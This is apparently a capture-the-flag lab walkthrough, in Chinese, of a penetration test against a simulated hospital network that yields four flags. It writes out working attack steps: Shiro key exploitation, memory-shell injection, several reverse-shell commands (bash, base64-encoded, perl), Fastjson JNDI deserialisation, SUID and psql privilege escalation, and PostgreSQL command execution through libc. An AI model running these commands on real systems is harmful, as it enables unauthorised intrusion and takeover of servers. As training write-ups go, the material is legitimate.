1 | 在这个场景中,你将扮演一名渗透测试工程师,被派遣去测试某家医院的网络安全性。你的目标是成功获取所有服务器的权限,以评估公司的网络安全状况。该靶场共有 4 个flag,分布于不同的靶机。 |
目标地址:39.99.151.78
flag1
先尝试用fscan扫描目标。

发现存在heapdump泄露,尝试提取。
扫目录发现存在/actuator路由,那么信息泄露是拿捏稳稳的了。

访问后结果如下,发现/actuator/heapdump,下载下来。

接着我们提取heapdump文件内容。
1 | java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump >ans.txt |
发现了shirokey!

1 | GAYysgMQhG7/CzIJlVpR2g== |
再加上端口为8080,那么这个网站不出意外就是shiro框架的java网站了。
尝试直接用shiro一把梭工具扫一下。

直接获取了webshell权限。接着我们尝试注入内存马将权限转移到webshell管理工具上。

哥斯拉连接。

看看能不能找到第一个flag,但是我们在环境变量和根目录等地方都没有找到,那么先尝试提反弹shell吧。
1 | bash -c "bash -i >& /dev/tcp/156.238.233.113/4567 0>&1" |

接下来我们要做的是提权,因为现在的权限实在是太低了。尝试SUID提权。

发现vim.basic,可以尝试提权。
1 | /usr/bin/vim.basic -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' |

获取到第一个flag
flag2
那么本机上就没有其他flag了,我们看看它的ip

内网ip为172.30.12.5,用fscan扫扫内网网段。
那么我们需要先上传一个fscan,使用哥斯拉的文件上传功能即可。


我们收集到的主要资产如下:
http://172.30.12.236:8080 医院后台
http://172.30.12.6:8848 nacos
这里我们注意到这个nacos的资产存在一个未授权漏洞。
接下来我们需要建立隧道。我们往目标上上传一个frpc和一个frpc.toml
先配置我们vps的frps
1 | [common] |

然后配置一下靶机的frpc
1 | [common] |

然后配置一下proxifier
然后我们就能成功访问到内网啦

我们已经扫到nacos未授权了,用工具试一下。

直接注入内存马,然后用哥斯拉连接。

1 | flag{9dede423-c85a-4878-a1f2-6f08bab69ae4} |
flag3
接下来我们看这个目标!
http://172.30.12.236:8080 医院后台
fscan没有扫到什么东西,网页源代码也没有什么特殊的,我们抓包看看。

是以json的方式传递的,猜测为FastJson

发现fastjson版本为1.2.45
我们往web01上上传一个JNDI-Injection-Exploit攻击,进行fastjson反序列化
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzAuMTIuNS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}' -A "172.30.12.5" |
将172.30.12.236反弹shell到172.30.12.5的8888端口
我们先给172.30.12.5开启一下nc监听,监听8888端口。

1 | { |

成功反弹shell!

然后我们进行以下操作,以后方便点。
1 | passwd |

1 | flag{a0655f59-3fd3-42fa-9ea8-2152d003e42c} |
flag4
我们发现多了一个172.30.54网段。用fscan扫一下,先上传。
我们把需要的工具放到web1上,然后去wget即可。
1 | python3 -m http.server 8000 |

发现了一个新目标172.30.54.12,端口为3000。服务是Grafana,能利用漏洞就只有 SSRF 和任意文件读取
利用工具:https://github.com/A-D-Team/grafanaExp/releases
这里我用这个工具报错了,不知道为啥
1 | #读取postgresql密码 |
直接拿别人的结果吧,看半天没看出原因,就不浪费钱了,1h=7r啊!!
1 | root@web03:/tmp# ./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000 |
接下来配置一个双层代理
frps.ini如下,上传到web01
1 | [common] |
frpc.ini如下,上传到web03
1 | [common] |


接着我们配置一下proxy chain

然后我们就能成功访问到目标啦~
接下来尝试连接数据库
连上后查询一下数据库版本
1 | select version() |
然后我们对 root 用户的密码进行修改
1 | ALTER USER root WITH PASSWORD '123456' |
PostgreSQL <= 8.1 可以通过调用系统的动态链接库 libc.so.6 来实现命令执行
1 | CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT |
创建函数成功后,执行命令时当返回值为 0 表示执行成功,其它值则是执行失败。我们使用 perl 反弹 shell,注意在 Web03 机器上监听端口
1 | select system('perl -e \'use Socket;$i="172.30.54.179";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\''); |
执行后成功弹回shell!

但是我们是数据库用户权限,接下来要进行提权。
我们先获取一个交互式 shell,然后使用 psql 进行 sudo 提权

注意利用 psql 需要为绝对路径,否则需要 Linux 用户 postgres 的密码,其次需要 PostgreSQL 数据库中 root 用户的密码,不过前面我们修改过了。root用户的密码为123456
具体psql怎么打看下面:

1 | flag{ab1d1d21-a477-4984-a4af-c462f5bce083} |